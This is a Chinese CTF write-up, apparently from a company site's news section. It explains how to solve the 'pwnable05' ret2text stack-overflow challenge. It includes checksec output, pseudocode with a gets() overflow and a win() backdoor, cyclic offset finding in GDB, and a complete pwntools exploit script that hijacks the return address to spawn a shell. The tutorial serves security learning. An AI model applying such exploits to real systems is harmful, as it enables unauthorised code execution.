恒美微站
首页
关于我们
建站服务
主题模板
案例展示
资讯中心
联系我们
从pwnable05通关看栈溢出:ret2text入门实战与缓冲区溢出利用
首页
资讯中心
/
从pwnable05通关看栈溢出:ret2text入门实战与缓冲区溢出利用
从pwnable05通关看栈溢出:ret2text入门实战与缓冲区溢出利用
发布时间:2026/10/16 12:18:06
刷题刷到某 pwn 练习平台的 pwnable 系列第 05 关时我整整卡了一个晚上。不是题目本身多难而是我突然意识到那些讲栈溢出的文章看再多都是别人嚼过的知识真正拿到一个二进制文件亲手把它打穿完全是另一回事。这篇记录我打通 pwnable05 的完整过程包括中间走错的路、绕过的坑以及为什么我说这一关是小白理解缓冲区溢出最好的起点。这一关的目标很明确程序里有个明显的漏洞点身边还藏着一个能直接拿 shell 的后门函数。你要做的是分析出程序的控制流然后构造输入覆盖栈上的返回地址让程序跳到后门函数执行。对完全没接触过 pwn 的朋友来说这一关能一次性打通漏洞原理→静态分析→动态调试→编写 exploit这条完整链路。1. 初见 pwnable05先搞清这道题到底想考什么1.1 拿到文件的第一件事不是点开而是 checksec我习惯的顺序是先用file和checksec看两个东西文件类型和防护机制。这一步决定后面所有攻击思路能不能成立跳过的话很容易白费功夫。$ file pwnable05 pwnable05: ELF 32-bit LSB executable, Intel 80386, dynamically linked, stripped $ checksec --file./pwnable05 [*] pwnable05 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)看到关键信息了吗32 位程序没有 canary没有开启 PIENX 是开着的。没有 canary 意味着我们溢出覆盖返回地址时不会触发栈保护检查PIE 关闭意味着代码段地址固定后门函数的地址可以直接写死在 exploit 里NX 开启则意味着栈上不可执行常见做法就不是往栈里塞 shellcode而是跳转到程序已有的代码段函数。这套组合拳几乎是专门为 ret2textreturn to text这种经典攻击方式准备的。有人可能不理解 checksec 为什么这么重要。你把程序想象成一栋楼canary 是每层门口装的报警器覆盖到它程序就会立刻崩溃PIE 是每栋楼的门牌号每次都变你不知道后门在第几层NX 则是规定楼梯间不能放易燃物你把恶意代码放在栈上也没法执行。做题前先确认这栋楼到底装了几个保安才知道该走窗户还是走楼梯。1.2 用 IDA 看逻辑漏洞点在哪儿一目了然我用的 IDA 是 7.7 版本加载后直接按F5看伪代码。这个程序的 main 函数非常短int __cdecl main() { char buf[52]; gets(buf); return 0; }漏洞是教科书级别的gets不会限制输入长度读进来的数据往buf里塞buf只有 52 字节多出来的部分会直接溢出到栈上覆盖掉栈帧里的关键信息。这在真实软件里就对应那种用了gets、strcpy、sprintf而没有做边界检查的 C 代码只不过真实环境没有题目里那么温柔。再往下翻函数列表我看到了一个名字很显眼的后门函数void win() { system(/bin/sh); }这种后门函数在真实漏洞里不常见但在 CTF 题里就是出题人留给你的一条明路。整道题的思路瞬间清晰了用gets把buf填满再继续写覆盖到 main 返回地址把它改成win函数的地址程序执行完 main 之后本来要回到调用它的启动代码现在会跳进win然后弹出一个 shell。2. 从触发崩溃到算偏移动态调试才是真正的老师2.1 光看代码不够先拿 cyclic 找到偏移静态分析告诉你漏洞存在、后门在哪但从栈顶到返回地址到底要填充多少个字节这个关键数字靠肉眼看不出来。虽然我可以按 52 4 4 60 来估算但我不会用估算值直接写 exploit因为不同编译环境下编译器可能给局部变量分配了额外的对齐字节估算和实际情况可能差很远。这时候就要用 pwntools 里的cyclic工具生成一串无重复的规律字符串。原理很简单每个位置上的四个字节都是一个独特的标记坐标程序崩溃时返回到哪一个标记用工具反查就能精确推算出偏移。$ python3 -c from pwn import *; print(cyclic(200)) aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabh我先把这段字符串塞进输入让程序崩溃。用 GDB 跑一下让程序执行到出错$ gdb ./pwnable05 (gdb) run (python3 -c from pwn import *; print(cyclic(200))) ... Program received signal SIGSEGV, Segmentation fault. 0x6161616c in ?? ()0x6161616c这个值对应的是Laaa这段字符。接着在 pwntools 里反查$ python3 -c from pwn import *; print(cyclic_find(0x6161616c)) 56偏移就是 56。也就是说输入的前 56 个字节能把缓冲区、编译器插入的对齐、保存的 EBP 全部填满从第 57 个字节开始写进去的内容会占用返回地址。这里有个特别容易混淆的点我必须说一下有些人觉得偏移应该是52 4 56也有人觉得是52 4 4 60争论半天。用cyclic_find找到的 56 已经是完全覆盖到返回地址的偏移也就是说你前面放 56 个填充字节后面紧接着放 4 个字节就是新的返回地址不需要自己再去纠结要不要多算几个字节。动态调试的价值就在这它用实际崩溃位置告诉你编译器到底怎么排布栈比任何经验公式都准。2.2 在 GDB 里亲眼看看栈的排布光知道偏移还不够我还想在 GDB 里看一眼栈上的实际布局确认自己理解栈帧结构没有出错。重新跑一次输入 56 个A加上 4 个B然后停在崩溃前的位置(gdb) break *0x0804916f ... (gdb) x/16wx $esp 0xffffd0b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x42424242看到这组内存内容的瞬间很多抽象的概念就落地了栈地址从高到低增长buf从低地址往高地址膨胀越界之后一路篡改上去最后指向的那一列内存就是返回地址所在位置。返回地址原本保存着 main 执行完要回的去处现在我们把它强行改成自己想要的地址程序的控制流就被劫持了。2.3 为什么说无 canary、无 PIE直接改变了攻击成本先厘清一个概念什么叫 canary。程序在函数入口处会往栈上放一个随机值函数返回前检查这个值是否被改动。如果我们在覆盖返回地址的过程中碰到了它程序会立刻__stack_chk_fail中断执行。pwnable05 里没有这个机制等于给你留了一扇不设防的后门你从缓冲区一路写到返回地址之间没有任何绊线报警器。PIE 关闭就更直白了后门函数的地址是固定的我直接写0x08048436这只是示例实际地址以你自己的二进制文件为准就能跳过去。如果开了 PIE每次运行程序加载的基址都随机变化你得先想办法泄露一个地址、算出基址偏移再动态算出后门函数地址复杂度完全不在一个量级。很多小白一开始就冲去学 ret2libc、学 ROP学得云里雾里其实就是因为这些进阶技术里掺杂了大量这种先绕过保护机制的前置工作。先在一道干净的题上把栈劫持的本能练出来后面每个词才不至于成为空中楼阁。3. 从崩溃到 getshell编写第一个真正可用的 exploit3.1 用 pwntools 把思路变成脚本动态调试验证了偏移接下来就是把攻击变成可重复、可远程复用的自动化脚本。这一步并不复杂但对新手来说从手工输入一些字符串到写脚本自动拿 shell是一个心智上的飞跃。from pwn import * context.log_level debug context.arch i386 p process(./pwnable05) win_addr 0x08048436 payload bA * 56 # 缓冲到返回地址的偏移 payload p32(win_addr) # 覆盖返回地址 p.sendline(payload) p.interactive()过程很简单构造一个 60 字节的 payload前 56 个字节用A填充后面 4 个字节用p32把后门地址按小端序编码成机器能读懂的字节。p32的作用是把整数0x08048436转成\x36\x84\x04\x08。为什么要倒过来写x86 是小端序多字节整数在内存里低位在前CPU 拿这四个字节恢复地址时会自动还原成正确的数值。脚本运行之后如果一切正常你会看到 pwntools 进入交互模式可以输入命令和远端程序对话。我习惯先输入id验证身份再输入cat flag拿答案。如果脚本卡住不动或直接报错说明某一步出了问题最常见的是下面几个坑。3.2 为什么建议用 sendline 而不是 send这里有个很容易被忽略的细节目标程序用的是gets它读取输入直到遇到换行符为止然后自动把换行替换成字符串结束符\x00。pwntools 的sendline会在 payload 后面补一个换行正好满足gets的读取条件send则只发送原始数据如果你的 payload 里没有换行gets会一直等在那里程序根本不往下走。有人会问那send会不会也能用如果你的 payload 末尾恰好包含了\n这个字节某些地址里真的会撞上gets会在那个位置提前截断后面的字节全部丢弃。虽然这道题的地址0x08048436里没有\n但养成写 exploit 时统一用sendline的习惯能少踩很多莫名其妙的坑。这也是为什么很多线上环境里你手动输入 payload 后要按一下回车本质就是给gets补上它需要的那一下结束信号。3.3 payload 里的空字节、不可打印字符真的能原样进栈吗做实验的同学可能会发现p32(0x08048436)生成的字节是\x36\x84\x04\x08这里面有\x04这种不可打印的控制字符而且地址高几位是零的时候还会出现\x00。如果目标函数是strcpy、sprintf这类以\x00结尾的字符串函数payload 会在空字节处直接截断后面的地址字节全传不进去那 exploit 必废。好在 pwnable05 用的是gets它按行结束不会把\x00当截断符空字节只是作为一个普通字符存进栈里不影响后续覆盖。这也是为什么很多入门题目都故意用gets而不是strcpy来制造漏洞——攻击流程里少一层如何绕过字符串截断的复杂性。等你以后在真实环境里碰到strcpy型溢出就要考虑地址里不要出现\x00这种约束或者想办法找 libc 里天然干净的地址那是后话。4. 打通过程中绕不开的几个细节坑4.1 本地能打通换个环境就失效先检查这三样这是我刷题时最常遇到的问题也是很多小白刚接触 pwn 时最容易挫败的地方本地用同样的 payload 明明稳定 getshell一上远程或者换一台机器就崩。按优先级排查三件事第一确认目标架构和本地环境一致。pwnable05 明确是i386我本机的 Python 环境是 64 位的但 pwntools 的process会直接启动那个 32 位 ELF架构差异主要在计算地址和栈布局时体现p32在这里是正确选择。第二看后门函数地址是不是固定。这道题 PIE 关闭地址写死没问题如果开 PIE本地地址和远程地址根本对不上不崩才怪。第三检查有没有 ASLR 的影响。本地的栈地址每次启动都在变化但 ret2text 跳转的是代码段地址不受 ASLR 影响所以这道题本身没有这个烦恼只要你选错了目标比如想往栈上跳本地能通、远程崩溃才是常态。4.2 返回地址覆盖之后程序为什么不立刻给 shell而是先崩一下这也是新手经常困惑的点。有时候你执行 exploit看到程序报了个Segmentation fault但紧接着又弹出了 shell看起来像边崩边打。原因是win函数里执行了system(/bin/sh)system 会启动一个子进程这个子进程继承标准输入输出所以你能交互。子进程启动之后原来的程序崩不崩溃其实已经不重要了——你已经有 shell 了。我刚开始时看到 pwntools 输出里一串红字报错第一反应以为失败了差点就直接关掉。其实如果脚本最后进入了interactive()并且你能执行命令说明攻击早已成功。反过来如果没有任何报错但程序就是没有任何响应那大概率是偏移算错了程序跑到一个错误地址直接安静地退出。这两种情况一个假阳性一个假阴性判别标准只有一个能不能命令程序做你想让它做的事。4.3 调试 payload 时单步看寄存器比反复猜有用如果觉得脚本不稳最有效的 debug 姿势是回到 GDB 单步看寄存器。我通常会在 exploit 脚本里留一个可以切换的开关本地用 gdb 挂载调试远程再切回正常模式p gdb.debug(./pwnable05, break *0x08048436 continue , apiTrue)然后在win入口下断点观察程序是否真的跳到了这里。如果断点没命中那就是偏移错了用 GDB 看崩溃时EIP的值和栈顶内容反推几个字节哪里差了一截。如果断点命中了但没有 shell问题出在 system 调用本身的环境上那又回到要不要验证明确调用成功的层面。这类排查思路比看十篇文章都管用因为它逼你把每一步的黑盒变成白盒。栈溢出的本质是你控制了栈上的一段数据进而控制了一个寄存器的值只要在关键跳转处看到 EIP 是否如你所愿整个逻辑链条就验证了一多半。5. 打通不算完这些延伸才让第五关真正 值回票价5.1 为什么 pwnable05 值得反复复盘大部分初学者打完这道题拿完 flag 就心满意足地切到下一题了。我自己的感受是这道题真正值得沉淀的不是 exploit 本身而是三个方法论层面的东西。第一分析顺序。拿到程序先看checksec再看反编译代码最后才用动态调试确认细节。这个顺序可以复制到后续所有 pwn 题目上形成肌肉记忆之后思路会清晰很多。第二利用链的抽象。这道题看起来是一个很特殊的恰好有后门函数的场景但把它抽象出来其实是程序从用户输入到危险函数之间有可控数据流危险函数能把数据写到栈上栈上的返回地址可以被覆盖。任何栈溢出利用无论加了多少复杂的保护绕过底层都是这三步的变体。第三调试工具的使用。pwnable05 教会了我 GDB 怎么看栈、怎么看寄存器这些技能在后面的 ret2libc、ROP 里同样要用只是复杂程度上升了。5.2 从这道题到 ret2libc中间只差一个没有后门函数很多人打穿这道题之后会接着问如果程序里没有 win 这个后门函数我该怎么办这正是通往下一关的钥匙。没有了代码段里的现成函数你至少有两个方向如果在 NX 关闭的情况下可以把 shellcode 写到栈上再跳过去如果 NX 开启那就走 ret2libc——把返回地址改成system函数的地址同时想在栈上布置好system需要的参数比如/bin/sh字符串的地址。从 ret2text 到 ret2libc听起来像换了个攻击目标其实核心还是控制 EIP 去哪这件事只是你控制的地址从一个后门函数变成了一个库函数 它的参数。读懂 pwnable05 之后你至少理解了栈帧布局、偏移计算、小端序、ELF 地址这些基础再去啃 ret2libc 会顺畅很多。相反如果连返回地址和栈布局都还朦朦胧胧硬啃高级手法只会越看越玄。我自己在这道题上最大的收获不是那一次成功的 getshell而是终于建立了对栈这个数据结构的具体感知。你在纸上画再多的栈帧示意图都不如亲眼看到 0x41414141 从低地址一路铺到高地址来得直观。如果你也刚打通这道题我的建议是别急着刷下一道回到 GDB 里把输入 40 个字节、50 个字节、60 个字节时的栈和 EIP 各看一遍认认真真搞清楚每个字节去哪儿了。搞定这一步你才算真正拿到了通往后续所有栈利用类题目的一把钥匙。